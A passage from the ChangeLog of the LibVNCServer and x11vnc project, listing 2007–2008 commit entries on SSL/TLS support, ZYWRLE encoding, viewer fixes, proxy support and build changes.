3458 x11vnc/xrecord.h, x11vnc/xwrappers.c: x11vnc: x11vnc.desktop file.
3459 -reopen, -dhparams, -sslCRL, -setdefer options. -rfbport PROMPT
3460 VeNCrypt and TLSVNC SSL/TLS encryption support. Tweaks to
3461 choose_delay() algorithm. -ssl ANON anonymouse Diffie-Hellman mode.
3462 Fix bugs in certs management. Additions to tray=setpass naive user
3463 mode.
3464
34652008-11-05 runge <runge>
3466
3467 * x11vnc/ChangeLog, x11vnc/README, x11vnc/avahi.c,
3468 x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/help.c,
3469 x11vnc/macosxCG.c, x11vnc/rates.c, x11vnc/remote.c,
3470 x11vnc/screen.c, x11vnc/solid.c, x11vnc/sslhelper.c,
3471 x11vnc/ssltools.h, x11vnc/userinput.c, x11vnc/x11vnc.1,
3472 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
3473 x11vnc/xevents.c: x11vnc: add zeroconf external helpers
3474 (avahi-publish and dns-sd). Alias -zeroconf. Close pipeinput_fh on
3475 exit. Kludge to make -solid work on MacOSX console. Attempt at cpp
3476 macros to disable newer libvncserver interfaces.
3477
34782008-11-05 runge <runge>
3479
3480 * configure.ac: Tweak messages. Add shmat for --without-x building.
3481
34822008-10-30 runge <runge>
3483
3484 * x11vnc/misc/enhanced_tightvnc_viewer/README,
3485 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3486 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3487 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
3488 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3489 ll.patch: synchronize ssvnc
3490
34912008-10-29 runge <runge>
3492
3493 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
3494 x11vnc/help.c, x11vnc/nox11.h, x11vnc/remote.c, x11vnc/screen.c,
3495 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/x11vnc.1,
3496 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc:
3497 -http_oneport for single port HTTP and VNC. Improve find_display wrt
3498 lsof blocking with -b.
3499
35002008-10-19 runge <runge>
3501
3502 *
3503 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc
3504 viewer.sh, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
3505 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
3506 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3507 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3508 x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
3509 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
3510 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
3511 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3512 ll.patch: Sync SSVNC changes: fullscreen fixes, local scaling,
3513 -chatonly, iso-8859-1/utf8 etc., etc.
3514
35152008-10-19 runge <runge>
3516
3517 * classes/ssl/ss_vncviewer,
3518 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Update ssl VNC
3519 viewer jars and patch file.
3520
35212008-10-19 runge <runge>
3522
3523 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README,
3524 x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/connections.h,
3525 x11vnc/cursor.c, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c,
3526 x11vnc/linuxfb.c, x11vnc/options.c, x11vnc/options.h,
3527 x11vnc/remote.c, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c,
3528 x11vnc/screen.h, x11vnc/selection.c, x11vnc/solid.c,
3529 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c,
3530 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3531 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c,
3532 x11vnc/xinerama.c, x11vnc/xrandr.c, x11vnc/xrandr.h,
3533 x11vnc/xrecord.c, x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc:
3534 -chatwindow, -scale WxH, -enc changes.
3535
35362008-09-21 runge <runge>
3537
3538 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/Makefile.am,
3539 x11vnc/README, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c,
3540 x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c,
3541 x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/tkx11vnc,
3542 x11vnc/tkx11vnc.h, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3543 x11vnc/x11vnc_defs.c: x11vnc: Add symmetric key encryption -enc
3544 cipher:keyfile, works with SSVNC. Make -remap work on MacOSX
3545 console. update to 0.9.5 strings. Add a couple menu items to
3546 tkx11vnc.
3547
35482008-09-17 runge <runge>
3549
3550 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
3551 x11vnc/help.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1,
3552 x11vnc/x11vnc_defs.c: x11vnc: make -allow work in -ssl mode.
3553
35542008-09-14 runge <runge>
3555
3556 * classes/ssl/ss_vncviewer,
3557 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
3558 x11vnc/ChangeLog, x11vnc/README, x11vnc/gui.c, x11vnc/help.c,
3559 x11vnc/misc/enhanced_tightvnc_viewer/README,
3560 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3561 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3562 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
3563 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
3564 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
3565 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3566 ll.patch, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc,
3567 x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/util.c,
3568 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc:
3569 -sleepin m-n for random sleep. More mktemp and mkstemp protections.
3570 SSL_INIT_TIMEOUT=n env. var. Fix macosx console X call bug.
3571 Synchronize other projects sources.
3572
35732008-09-07 runge <runge>
3574
3575 * classes/ssl/ss_vncviewer,
3576 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, x11vnc/8to24.c,
3577 x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
3578 x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c, x11vnc/keyboard.c,
3579 x11vnc/macosxCG.c, x11vnc/macosxCG.h,
3580 x11vnc/misc/enhanced_tightvnc_viewer/README,
3581 x11vnc/misc/enhanced_tightvnc_viewer/Windows/sshvnc.bat,
3582 x11vnc/misc/enhanced_tightvnc_viewer/Windows/tsvnc.bat,
3583 x11vnc/misc/enhanced_tightvnc_viewer/bin/sshvnc,
3584 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
3585 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
3586 x11vnc/misc/enhanced_tightvnc_viewer/bin/tsvnc,
3587 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3588 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3589 x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
3590 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
3591 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
3592 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches,
3593 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3594 ll.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c,
3595 x11vnc/remote.c, x11vnc/solid.c, x11vnc/ssltools.h,
3596 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c,
3597 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3598 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c,
3599 x11vnc/xevents.h, x11vnc/xinerama.c, x11vnc/xinerama.h: x11vnc: kill
3600 gui_pid on exit in -connect/-connect_or_exit mode. -grablocal n
3601 experiment (not compiled by default). -macuskbd option for macosx
3602 for orig uskdb code. keycode=N remote contol cmd. Find dpy look at
3603 non-NFS cookies in /tmp. Fix gui tray insertion on recent gnome dt.
3604 Fix connect_file bug. Sync SSVNC
3605
36062008-06-24 runge <runge>
3607
3608 * libvncserver/rfbserver.c: We seem to need to guard against freeing
3609 iterator 'i' twice in rfbSendFramebufferUpdate() (italc reported
3610 bug)
3611
36122008-06-07 runge <runge>
3613
3614 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/unixpw.c,
3615 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
3616 x11vnc/xinerama.c: x11vnc: -clip xineramaN option, -DIGNORE_GETSPNAM
3617 for HP-UX. Print info on SSH_CONNECTION override.
3618
36192008-06-03 dscho <dscho>
3620
3621 * ChangeLog, client_examples/SDLvncviewer.c: SDLvncviewer: update
3622 screen correctly after a resize Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3623
36242008-06-03 runge <runge>
3625
3626 * configure.ac: Enable --with-ssl=DIR option.
3627
36282008-06-01 runge <runge>
3629
3630 * x11vnc/README, x11vnc/options.c, x11vnc/options.h,
3631 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc:
3632 lower waitms and defer if framebuffer reads are fast (> 100MB/s)
3633
36342008-06-01 runge <runge>
3635
3636 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README,
3637 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c,
3638 x11vnc/misc/Xdummy, x11vnc/options.c, x11vnc/options.h,
3639 x11vnc/scan.c, x11vnc/screen.c, x11vnc/userinput.c,
3640 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
3641 x11vnc/xinerama.c: x11vnc: support colormaps for depths other than
3642 8. xinerama warppointer only if more than one subscreen.
3643
36442008-05-31 dscho <dscho>
3645
3646 * .gitignore: .gitignore: ignore also temporary editor files Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3647
36482008-05-31 dscho <dscho>
3649
3650 * VisualNaCro/.gitignore: VisualNaCro: add .gitignore file Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3651
36522008-05-31 dscho <dscho>
3653
3654 * VisualNaCro/configure.ac: VisualNaCro: fix configure.ac There was a misunderstanding as to the workings of AC_CHECK_PROG(). Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3655
36562008-05-31 dscho <dscho>
3657
3658 * TODO: Update TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3659
36602008-05-31 dscho <dscho>
3661
3662 * libvncserver-config.in: Fix libvncserver-config for in-place
3663 operation Since quite some time, the linkable libraries are stored in the
3664 .libs/ subdirectories. Adjust libvncserver-config to account for
3665 that when running without installing. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3666
36672008-05-23 runge <runge>
3668
3669 * libvncserver/rfbserver.c: Handle colormaps with more than 256
3670 colors.
3671
36722008-05-13 dscho <dscho>
3673
3674 * examples/mac.c: examples/mac: disable the cursor We cannot write access the frame buffer, and we do not have a
3675 sensible cursor anyway, so better disable the cursor (which would
3676 have to be drawn for clients that do not support
3677 CursorShapeUpdates). Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3678
36792008-05-13 dscho <dscho>
3680
3681 * client_examples/SDLvncviewer.c: SDLvncviewer: add -viewonly Just like its siblings from other projects, SDLvncviewer now
3682 supports viewonly connections. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3683
36842008-05-12 runge <runge>
3685
3686 * x11vnc/README, x11vnc/help.c, x11vnc/selection.c,
3687 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/x11vnc.1,
3688 x11vnc/x11vnc_defs.c: x11vnc: SSL fixes. Increase cert lifetimes to
3689 2 years. Print ssl err msg.
3690
36912008-05-12 runge <runge>
3692
3693 * configure.ac: Add X509_print_ex_fp check for x11vnc.
3694
36952008-05-12 runge <runge>
3696
3697 * x11vnc/misc/enhanced_tightvnc_viewer/README,
3698 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
3699 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
3700 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
3701 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3702 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3703 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3704 ll.patch: Many improvement to the frontend and unix viewer.
3705 UltraVNC proxy support, and other proxy improvements.
3706
37072008-05-08 runge <runge>
3708
3709 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
3710 x11vnc/gui.c, x11vnc/help.c, x11vnc/options.c, x11vnc/scan.c,
3711 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc,
3712 x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3713 x11vnc/x11vnc_defs.c: x11vnc: add UltraVNC repeater proxy support.
3714 fix to setp gui mode. -threads is now strongly discouraged. Read
3715 PORT= in url. User can set nolisten for Xvfb in -create mode.
3716 clean up wait_for_client() to some degree.
3717
37182008-05-08 runge <runge>
3719
3720 * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
3721 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Add check for
3722 "https" to viewers. update jars.
3723
37242008-04-28 dscho <dscho>
3725
3726 * rfb/rfbclient.h: Fix compilation in the absence of libjpeg The JPEG library is not necessarily installed everywhere, and
3727 sometimes it is outright undesirable to compile with JPEG support,
3728 e.g. when the server is not very fast. So fix the compilation for
3729 that case. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3730
37312008-03-21 dscho <dscho>
3732
3733 * TODO: Update TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3734
37352008-02-18 dscho <dscho>
3736
3737 * ChangeLog, libvncserver/rfbregion.c: Please MS Visual C++ a bit
3738 (Christian Ehrlicher) Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3739
37402008-02-18 runge <runge>
3741
3742 * classes/ssl/ss_vncviewer, x11vnc/README: Update ssl jars.
3743
37442008-02-18 runge <runge>
3745
3746 * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: changes for
3747 release
3748
37492008-02-18 runge <runge>
3750
3751 * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3752 x11vnc/x11vnc_defs.c: minor date changes.
3753
37542008-02-18 runge <runge>
3755
3756 * x11vnc/misc/enhanced_tightvnc_viewer/README,
3757 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
3758 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
3759 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3760 ll.patch: ssvnc sync with zywrle support and improvements to popup.
3761
37622008-02-04 dscho <dscho>
3763
3764 * ChangeLog, libvncclient/rfbproto.c, libvncclient/zrle.c: ZYWRLE
3765 patch for libvncclient (thanks Noriaki Yamazaki) Highlite: * use qualityLevel/zlib_buffer. No new variable is needed. * Change coding style to recursive fashion. * Change meaning of qualityLevel== 9 for easy calc zywrle_level: old:zywrle_level== 1 new:disable ZYWRLE(same as ZRLE) so, we should not use this value for compatible reason. * Color mode handling isn't complete. I provided and checked 16 bit colors(RGB555,RGB565) and some color mode of 32 bit colors for little endian mode. we must make and check 24 bit colors and big endian mode. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3766
37672008-02-04 dscho <dscho>
3768
3769 * ChangeLog, libvncserver/zywrletemplate.c: Fix ZYWRLE en/decoding
3770 for width != scanline (thanks Noriaki Yamazaki) Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3771
37722008-02-03 runge <runge>
3773
3774 * libvncserver/stats.c: Add ZYWRLE to server printout.
3775
37762008-02-02 dscho <dscho>
3777
3778 * ChangeLog, TODO, client_examples/SDLvncviewer.c: SDLvncviewer: fix
3779 button handling For some reason, I swapped buttons 2 and 3 on Dec 7, 2005, in commit
3780 "translate keys based on unicode (much more reliable than sym)". I
3781 do not remember why, nor what I smoked, but this was wrong. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3782
37832008-02-02 dscho <dscho>
3784
3785 * TODO, client_examples/SDLvncviewer.c: SDLvncviewer: fix
3786 Ctrl+<letter> Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3787
37882008-02-02 dscho <dscho>
3789
3790 * TODO, client_examples/SDLvncviewer.c: SDLvncviewer: fix
3791 translation of the Tab key Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3792
37932008-02-02 dscho <dscho>
3794
3795 * TODO: Updated TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3796
37972008-02-01 runge <runge>
3798
3799 * libvncserver/Makefile.am: Need to include zywrletemplate.c in
3800 Makefile.am
3801
38022008-02-01 runge <runge>
3803
3804 * classes/ssl/ss_vncviewer: sync java viewer.
3805
38062008-02-01 runge <runge>
3807
3808 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
3809 x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/README,
3810 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3811 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3812 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3813 ll.patch, x11vnc/rates.c, x11vnc/ssltools.h, x11vnc/x11vnc.1,
3814 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: during speeds
3815 estimate, guard against client disconnecting.
3816
38172008-01-31 dscho <dscho>
3818
3819 * libvncserver/rfbserver.c: Fix rfbSendSupportedEncodings There was a long standing TODO to make the counting of the supported
3820 encodings dynamic. It never triggered, until ZYWRLE was added. Noticed by Christian Ehrlicher. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3821
38222008-01-31 dscho <dscho>
3823
3824 * Makefile.am, configure.ac: Recurse into subdirectory x11vnc/ when
3825 configuring with --with-x11vnc Since we separated the packages LibVNCServer and x11vnc, there is a
3826 configure switch --with-x11vnc, without which x11vnc is not built. However, even _with_ this switch, it is not built, because the
3827 Makefile would not recurse into the x11vnc/ subdirectory. Fix that. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3828
38292008-01-31 dscho <dscho>
3830
3831 * libvncserver/rfbserver.c: Fix Swap16IfLE() on bytes When swapping the values for the colour table to little-endian
3832 (because they are 16-bit values), we need to cast "unsigned char" to
3833 "unsigned short"; otherwise, Microsoft's compiler would keep
3834 complaining. Noticed by Christian Ehrlicher. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3835
38362008-01-31 dscho <dscho>
3837
3838 * libvncserver/rfbserver.c, rfb/rfb.h: Move tightQualityLevel out of
3839 the JPEG specific part The variable tightQualityLevel is used for ZYWRLE compression, too,
3840 so if libjpeg is not present, but libz is, we still need to have
3841 that struct member. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3842
38432008-01-30 dscho <dscho>
3844
3845 * libvncserver/zrle.c, libvncserver/zrleencodetemplate.c, rfb/rfb.h:
3846 Make ZYWRLE thread-safe for multiple clients ZYWRLE used a static buffer, which does not work too well if you
3847 have more than one client in a threaded server. Instead, we have
3848 the data in the client structure now. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3849
38502008-01-30 dscho <dscho>
3851
3852 * libvncserver/zrle.c, libvncserver/zywrletemplate.c: ZYWRLE brown
3853 paper bag fix While adjusting the coding style, three stupid mistakes happened.
3854 The quality is _not_ just 1, 2, 3, but really 1, 3, 2. And the
3855 macros ZYWRLE_PACK_COEFF() and ZYWRLE_UNPACK_COEFF() expand to more
3856 than one statement, which means that we need curly brackets around
3857 them when they are in an if clause. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3858
38592008-01-29 dscho <dscho>
3860
3861 * TODO: Update TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3862
38632008-01-29 dscho <dscho>
3864
3865 * .gitignore: Add a .gitignore file At least one developer (me) uses git to work on local branches, and
3866 this file does not hurt. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3867
38682008-01-29 dscho <dscho>
3869
3870 * ChangeLog, libvncserver/rfbserver.c: Add missing #include <time.h>
3871 (thanks Christian Ehrlicher) Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3872
38732008-01-29 dscho <dscho>
3874
3875 * AUTHORS, ChangeLog, libvncserver/rfbserver.c,
3876 libvncserver/scale.c, libvncserver/zrle.c,
3877 libvncserver/zrleencodetemplate.c, libvncserver/zywrletemplate.c,
3878 rfb/rfbproto.h: Add ZYWRLE server-side support (thanks Noriaki
3879 Yamazaki, Hitachi) Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3880
38812008-01-29 dscho <dscho>
3882
3883 * AUTHORS, CMakeLists.txt, ChangeLog, configure.ac,
3884 rfb/rfbconfig.h.cmake, rfb/rfbint.h.cmake: Add CMake support (thanks
3885 to Christian Ehrlicher) Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3886
38872008-01-15 runge <runge>
3888
3889 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
3890 x11vnc/options.h, x11vnc/scan.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3891 x11vnc/x11vnc_defs.c: x11vnc: -ping option, fix memory corruption in
3892 copy_tiles after xrandr resize.
3893
38942007-12-16 runge <runge>
3895
3896 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/gui.c,
3897 x11vnc/macosxCG.c, x11vnc/remote.c, x11vnc/tkx11vnc,
3898 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3899 x11vnc/x11vnc_defs.c: x11vnc: setup remote-ctrl file by default on
3900 macosx. improve tkx11vnc wrt attaching to existing server in
3901 icon/tray mode.
3902
39032007-12-16 runge <runge>
3904
3905 * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
3906 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3907 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3908 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3909 ll.patch: Fixes for MacOSX 10.5. Improve usage of x11 viewer on
3910 macosx.
3911
39122007-12-16 runge <runge>
3913
3914 * x11vnc/ChangeLog, x11vnc/README, x11vnc/keyboard.c,
3915 x11vnc/macosxCG.c, x11vnc/macosxCGS.c, x11vnc/ssltools.h,
3916 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: fix
3917 find_display and usleep() prototype on macosx. -display console and
3918 check DISPLAY /tmp/...:0 on macosx. implement -noxinerama.
3919
39202007-11-13 runge <runge>
3921
3922 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c,
3923 x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/options.c,
3924 x11vnc/remote.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c,
3925 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: add
3926 clear_locks (Caps_Lock, etc) action.
3927
39282007-10-27 runge <runge>
3929
3930 * x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
3931 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3932 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3933 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: ssvnc
3934 sync: connect_br.tcl socks4/5 http proxies, ss_vncviewer socks5
3935 proxy. ssh 1st proxy. whatismyip.com fix. 127.0.0.1 on Darwin
3936
39372007-10-27 runge <runge>
3938
3939 * classes/ssl/ss_vncviewer: ssl java and ss_vncviewer (socks5) sync.
3940
39412007-10-27 runge <runge>
3942
3943 * prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog,
3944 x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c,
3945 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosxCGP.c,
3946 x11vnc/macosxCGS.c, x11vnc/options.c, x11vnc/options.h,
3947 x11vnc/remote.c, x11vnc/screen.c, x11vnc/selection.c,
3948 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c,
3949 x11vnc/userinput.c, x11vnc/util.c, x11vnc/win_utils.c,
3950 x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3951 x11vnc/x11vnc_defs.c, x11vnc/xrecord.c: x11vnc: -proxy, -ssh
3952 options. ncache bug in -8to24, Selection "targets" bugfix.
3953
39542007-10-04 runge <runge>
3955
3956 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
3957 x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3958 x11vnc/x11vnc_defs.c: x11vnc: add xfce to createdisplay
3959
39602007-09-26 runge <runge>
3961
3962 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
3963 x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/util.c,
3964 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
3965 x11vnc/x11vnc_defs.c: x11vnc: COLUMNS=256 and other fixes to
3966 find/create scripts. More ratecheck.
3967
39682007-09-17 dscho <dscho>
3969
3970 * libvncserver/rfbserver.c: Avoid misaligned access on 64-bit
3971 machines We used to assume that a char[256] is properly aligned to be cast to
3972 an rfbServerInitMsg, but that was not the case. So use a union
3973 instead. Noticed by Flavio Leitner. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3974
39752007-09-11 runge <runge>
3976
3977 * classes/ssl/ss_vncviewer,
3978 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
3979 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: update
3980 ss_vncviewer script, jars, and patch files.
3981
39822007-09-11 runge <runge>
3983
3984 * x11vnc/ChangeLog, x11vnc/misc/enhanced_tightvnc_viewer/README,
3985 x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
3986 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3987 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3988 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: ssvnc:
3989 sshvnc ssh-only, tsvnc Terminal Services modes. Improvements to
3990 ss_vncviewer. Automatically find X dpy and X login. Reorganize
3991 menus a bit. ~/.ssvncrc file.
3992
39932007-09-11 runge <runge>
3994
3995 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
3996 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c,
3997 x11vnc/options.c, x11vnc/options.h, x11vnc/screen.c,
3998 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c,
3999 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4000 x11vnc/x11vnc_defs.c, x11vnc/xrecord.c, x11vnc/xwrappers.c: x11vnc:
4001 fix wireframe crash under -clip. Add -redirect for VNC redir.
4002 -rawfb nullbig, randbig, solid, swirl, etc. FD_XDM mode to
4003 find_display. -listdpy. Add enlightenment. Xvnc.redirect
4004 FINDDISPLAY-vnc_redirect. -xvnc, -xvnc_redirect, -svc_xvnc.
4005 AUTO_PORT.
4006
40072007-09-05 runge <runge>
4008
4009 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
4010 x11vnc/keyboard.c, x11vnc/misc/Xdummy, x11vnc/options.c,
4011 x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c,
4012 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c,
4013 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4014 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c,
4015 x11vnc/xevents.h, x11vnc/xrandr.c, x11vnc/xwrappers.c: x11vnc:
4016 -autoport, -finddpy, -xdummy. watch xrandr events.
4017 check_redir_services() utilities for Terminal services. Improve
4018 Xdummy.
4019
40202007-09-05 runge <runge>
4021
